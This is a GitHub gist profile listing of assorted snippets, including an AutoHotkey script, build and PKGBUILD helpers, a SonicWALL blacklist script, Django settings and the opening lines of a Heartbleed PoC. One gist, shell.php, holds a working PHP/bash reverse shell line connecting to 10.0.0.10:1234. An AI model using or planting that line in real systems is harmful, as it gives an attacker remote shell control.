Skip to content

Instantly share code, notes, and snippets.

View rshipp's full-sized avatar
🍉
drop ICE. defund police.

Ryan Shipp rshipp

🍉
drop ICE. defund police.
View GitHub Profile
@rshipp
rshipp / MathWriter.ahk
Created October 19, 2013 19:25
Write greek characters.
#NoEnv ; Recommended for performance and compatibility with future AutoHotkey releases.
#Warn ; Recommended for catching common errors.
SendMode Input ; Recommended for new scripts due to its superior speed and reliability.
SetWorkingDir %A_ScriptDir% ; Ensures a consistent starting directory.
::sigma::Σ
::pi::π
::lambda::λ
::theta::θ
::delta::Δ
@rshipp
rshipp / hb-test-orig.py
Last active August 29, 2015 13:58 — forked from takeshixx/hb-test.py
Heartbeat test/PoC, original and feature bloat versions. http://www.exploit-db.com/exploits/32745/
#!/usr/bin/python
# Quick and dirty demonstration of CVE-2014-0160 by Jared Stafford (jspenguin@jspenguin.org)
# The author disclaims copyright to this source code.
import sys
import struct
import socket
import time
import select
#!/usr/bin/python
#
# pylintcodediff --- Locate pylint errors corresponding to changed lines
#
# Copyright (C) 2014 Red Hat, Inc.
#
# This program is free software; you can redistribute it and/or modify
# it under the terms of the GNU Lesser General Public License as published
# by the Free Software Foundation; either version 2.1 of the License, or
# (at your option) any later version.
#!/bin/bash
# build your own Pi MusicBox.
# reeeeeeaaallly alpha.
#Install the packages you need to continue:
apt-get update && apt-get --yes install sudo wget unzip mc
#Next, issue this command to update the distribution.
#This is good because newer versions have fixes for audio and usb-issues:
@rshipp
rshipp / iplist2addressgroup.sh
Created June 24, 2014 17:59
Convert a file with one IP on each line into a script that can be copy-pasted into a SonicWALL shell to create a new address group.
# IP List to Address Group
# Convert a file with one IP on each line into a script that can be
# copy-pasted into a SonicWall shell to create a new address group.
# Use it like `./iplist2addressgroup.sh iplist.txt > script.txt`.
# I used it to bulk-blasklist some public IPs.
# See https://www.fuzeqna.com/sonicwallkb/ext/kbdetail.aspx?kbid=10896
# Config
objname='blacklistedip'
groupname='Blacklist'
@rshipp
rshipp / update_sums.sh
Created June 25, 2014 01:25
A terrible one-liner for in-place updating of PKGBUILD checksums.
oldsums=$(sed -n '/^.*sums=(.*/,/.*)/p' PKGBUILD); newsums=$(makepkg -g); sed -i "/^.*sums=(.*/,/.*)$/y/${oldsums/$'\n'/\\n}/${newsums/$'\n'/\\n}/" PKGBUILD
@rshipp
rshipp / 0-pkgvars.md
Last active August 29, 2015 14:02
Get variables and functions from PKGBUILDs into Python variables.

pkgvars

With pkgvars.py in your PATH, and a PKGBUILD in your current directory, run bash pkgvars.sh. The output is formatted JSON.

A patch for Pacman (makepkg) and an updated Pacman PKGBUILD are included, along with an example working split PKGBUILD and an example PKGBUILD with a custom array, to show how custom arrays are not handled by this script.

@rshipp
rshipp / html5test.py
Created July 7, 2014 23:04
Playing with reconstructing parsed html5.
#!/usr/bin/env python3
import html5lib
data = html5lib.parse(open("test.html", "r").read())
def start_tag(node):
return '<' + node.tag.split('}')[1:][0] + \
''.join([' {}="{}"'.format(item[0], item[1])
for item in node.items()]) + '>'
@rshipp
rshipp / shell.php
Created July 17, 2014 15:06
A tiny PHP/bash reverse shell.
<?php
exec("/bin/bash -c 'bash -i >& /dev/tcp/10.0.0.10/1234 0>&1'");
@rshipp
rshipp / deployment.py
Last active August 29, 2015 14:05
Example secrets files for acmx_website suitable for development and testing purposes.
import os
BASE_DIR = os.path.dirname(os.path.dirname(__file__))
DATABASES = {
'default': {
'ENGINE': 'django.db.backends.sqlite3',
'NAME': os.path.join(BASE_DIR, 'db.sqlite3'),
}
}